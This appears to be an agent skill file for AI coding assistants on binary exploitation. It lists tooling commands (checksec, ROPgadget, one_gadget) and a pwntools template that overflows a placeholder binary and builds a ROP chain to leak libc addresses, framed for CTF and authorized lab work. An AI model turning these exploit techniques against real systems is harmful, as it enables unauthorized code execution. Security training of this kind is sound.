Binary Exploitation

name: binary-exploitation description: >- Binary exploitation covering ROP chain construction, buffer overflow attacks, format string vulnerabilities, heap exploitation, ASLR and stack canary bypasses, custom shellcode generation, return-to-libc attacks, use-after-free exploitation, binary protection analysis, integer overflow vulnerabilities, and kernel exploitation. Enables offensive security research and CTF preparation with pwntools, GEF, checksec, and ROPgadget tooling. domain: cybersecurity subdomain: binary-exploitation tags: - binary-exploitation - rop-chains - buffer-overflow - format-string - heap-exploitation - aslr-bypass - stack-canary - shellcode - return-to-libc - use-after-free - integer-overflow - kernel-exploitation - pwntools - gef - checksec - ropgadget version: "1.0" author: defconxt license: AGPL-3.0 compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent. metadata: mitre-attack: ["T1203", "T1068", "T1190", "T1211", "T1210"] cwe: ["CWE-120", "CWE-122", "CWE-134", "CWE-190", "CWE-416", "CWE-787"] frameworks: ["MITRE ATT&CK", "CWE", "OWASP", "PTES"]

Binary Exploitation

When to Use

Activate when the operator asks about exploit development, ROP chain construction, buffer overflow attacks, format string bugs, heap exploitation, ASLR or canary bypasses, shellcode generation, return-to-libc, use-after-free vulnerabilities, integer overflows, kernel exploitation, or binary protection analysis.

Mode: [MODE: RED] for exploit development and attack research; [MODE: PURPLE] for detection validation; [MODE: BLUE] for hardening recommendations.

Prerequisites

• Tools: python3, pwntools, gdb with GEF/pwndbg, checksec, ROPgadget, one_gadget
• Target binary with known vulnerability class
• Authorization and signed Rules of Engagement (RoE)
• Isolated lab environment for exploit testing

Quick Reference

Workflow

Step 1: Binary Reconnaissance

# Analyze binary protections
checksec --file=./vuln_binary

# Enumerate ROP gadgets
ROPgadget --binary ./vuln_binary --ropchain

# Find one_gadget offsets in libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6

Step 2: Vulnerability Identification

from pwn import *

# Load binary and inspect symbols
elf = ELF("./vuln_binary")
print(f"Entry: {hex(elf.entry)}")
print(f"GOT:   {elf.got}")
print(f"PLT:   {elf.plt}")

# Check security properties
print(f"NX:      {elf.nx}")
print(f"PIE:     {elf.pie}")
print(f"Canary:  {elf.canary}")
print(f"RELRO:   {elf.relro}")

Step 3: Exploit Development

from pwn import *

context.binary = elf = ELF("./vuln_binary")
context.log_level = "debug"

# Establish connection
p = process(elf.path)
# p = remote("target.ctf", 1337)

# Build ROP chain
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call(elf.entry)

# Construct payload
offset = 72  # determined via cyclic pattern
payload = flat(
    b"A" * offset,
    rop.chain(),
)

p.sendline(payload)
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")

Step 4: Post-Exploitation Verification

# Verify exploit reliability
for i in $(seq 1 10); do
    python3 exploit.py && echo "Run $i: SUCCESS" || echo "Run $i: FAIL"
done

Verification

• Binary protections enumerated with checksec
• Vulnerability class identified and confirmed
• Exploit achieves code execution reliably
• Payload accounts for target protections (NX, ASLR, canary, PIE)
• Detection opportunities documented for blue team

References

• pwntools Documentation — Python exploitation framework
• ROPgadget — ROP gadget finder
• GEF — GDB Enhanced Features for exploit development
• checksec — Binary protection analysis
• one_gadget — One-shot RCE gadget finder
• MITRE ATT&CK T1203 — Exploitation for Client Execution